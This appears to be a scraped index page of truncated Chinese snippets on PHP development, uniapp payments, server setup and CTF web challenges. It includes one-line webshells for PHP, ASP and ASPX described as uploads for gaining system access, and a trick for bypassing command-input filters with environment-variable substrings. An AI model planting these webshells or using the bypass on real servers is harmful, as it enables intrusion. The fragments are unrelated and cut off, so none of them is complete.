uniapp端，前端代码 // 在需要的地方引入 //#ifdef APP-PLUS AliPayApp(this); //#endif // 支付宝app支付 function AliPayApp(that) { console.log('AliPayApp') // 1、获取支付宝订单信息 that.$http.httpGet('/app.php',{ courseid: that.courseId, type: 'AliPayAp
ord() ：返回字符的ascii码 file_put_contents() 函数把一个字符串写入文件中。 如果成功，该函数将返回写入文件中的字符数。如果失败，则返回 False。 常用两个参数，第一个用于标识写入哪个文件中，第二个用于标识写入的字符串。 file_get_contents() 函数把整个文件读入一个字符
1.过滤了 空格 . / ; ` ' > 等字符，怎么执行任意命令 首先执行一下env命令，看看环境变量里有哪些可以用到的变量。比如: PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 那么字符“/”就可以用${PATH:0:1}代替。 又比如有个变量是PHP_VERSION=5.6.30，所以就可
public function get_client_ip($type = 0, $adv = false) { $type = $type ? 1 : 0; static $ip = NULL; if ($ip !== NULL) return $ip[$type]; if ($adv) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
1. zabbix介绍 zabbix`是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。 zabbix能监视各种网络参数，保证服务器系统的安全运营；并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。 zabbix由2部分构成，zabbix server与可选组件zabbix a
实现方法 /** * @使用HMAC-SHA1算法生成oauth_signature签名值 * * @param $key 密钥 * @param $str 源串 * * @return 签名值 */ function get_signature($str, $key) { $signature = ""; if (function_exists('hash_hm
建议前期实行web三件套的时候就开着代理。 看到bot，想到robots.txt，得到： User-agent: * Disallow: /fAke_f1agggg.php 抓包访问，返回包中有一个Look_at_me: /fl4g.php 访问，得到源码： <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0); highlight_file(__fi
查看源代码，发现了个check.php $(document).ready(function(){ $("#div1").load("check.php #p1"); $(".close").click(function(){ $("#myAlert").hide(); }); $("#button1").c
下载地址： 下载版：http://lamp.phpstudy.net/phpstudy.bin 完整版：http://lamp.phpstudy.net/phpstudy-all.bin PHP环境支持： 解释：Apache/Nginx/Tengine/Lighttpd PHP版本：支持php5.2/5.3/5.4/5.5切换 操作系统：已经在centos-6.5,debian-7.4.,ubuntu-13.10测试成功 安装方法： 下载好 .bin
MeEdu在前台进行渲染使用的是模板，那么该如何使用该模板引擎呢？ 新建：resources 目录下 新建 views 目录下 新建 school.blade.php 文件
如何做到 ueditor批量上传word图片？ 1、前端引用代码 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
无法查看源代码 这个我f12看不了，用Ctrl+u robots 提示robots.txt，就在网站后边加上/robots.txt看看有没有，然后在查看flagishere.txt phps文件泄露 在网站后面加/index.phps就可以下载网站的php源代码文件,打开即可。 解压源代码到当前目录 加/WWW.zip 或者/www.zip [ACTF2020 新生
Github示例 官方以及第三方提供的actions github actions说明 github官方说明 适用php的示例 swoole test.yml 借用 hyperf/component-creator 点击查看代码 name: PHPUnit on: [ push, pull_request ] env: SWOOLE_VERSION: '4.8.10' SWOW_VERSION: 'develop' jo
<?php include 'utils.php'; if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if ($guess === $secret) { $message = 'Congratulations! The flag is: ' . $flag; } else { $me
刷了刷CTF，记录一下模糊的和不会的知识点 robots协议：网络爬虫排除标准 它是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。 当一个搜索蜘蛛访问一个站点时，它会首先检查该站点根目录下是否存在robots.txt
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错！"); window.locati
4GB以上超大文件上传和断点续传服务器的实现 随着视频网站和大数据应用的普及，特别是高清视频和4K视频应用的到来，超大文件上传已经成为了日常的基础应用需求。 但是在很多情况下，平台运营方并没有大文件上传和断点续传的开发经验，往往在网上找一些简单的PHP或者Java程序来实现基本
安装homebrew方法（若已经安装，忽略） /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 通过 brew 安装 brew install php@7.4 刷新php连接 brew link php@7.4 查看php版本 php -v 查看PHP的服务 brew services lis
一句话木马：上传一句话木马（简称Webshell）到目前web服务目录继而提权获取系统权限 php一句话木马： <?php @eval($_POST[value]); ?> asp一句话木马： <%eval request ("value")%> 或 <% execute(request("value")) %> aspx一句话木马： <%@ Page Language="Jscript" %
index.php 压缩包处理，上传文件处理 <?php include('ziper.class.php'); /*接收base64的jpg图片编码，转换为图片*/ try { $file = $_FILES['image']; // 判断文件是否上传 if (!is_uploaded_file($file['tmp_name'])){ throw new Exception("
1、php-fpm 错误日志 一般情况下，php错误日志的配置都在php.ini文件中 /usr/local/php/etc/php.ini --------------------------- error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT display_errors = Off log_errors = On ; Log errors to specified file. PHP's default
1、打开题目获取到源代码信息，如下： Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { p
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错！"); window.locati
#获取前一小时strtotime("-1 hour") #获取前一天strtotime("-1 day") #获取前一周strtotime("-1 week") #获取前一个月strtotime("-1 month") #获取前半年strtotime("-6 month") #获取前一年strtotime("-1 year")
1、下载安装 https://getcomposer.org/ 期间有一步是要和本地php.exe关联的 2、配置composer ①把composer安装目录下的.bat文件和.phar文件复制到你所使用的PHP的php.exe文件的目录下 ② 修改.bat文件中的内容为@php "%~dp0composer.phar" %* ③ 配置全局环
